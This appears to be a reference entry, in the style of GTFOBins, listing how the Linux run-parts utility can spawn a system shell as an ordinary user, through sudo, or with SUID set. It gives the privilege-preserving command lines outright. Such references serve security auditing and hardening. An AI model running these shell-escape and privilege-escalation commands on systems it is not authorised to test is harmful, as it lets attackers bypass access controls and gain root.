This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
run-parts --new-session --regex '^sh$' /bin
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
run-parts --new-session --regex '^sh$' /bin
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
run-parts --new-session --regex '^sh$' /bin --arg='-p'
This function can be performed by any unprivileged user.
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/ --arg='-p'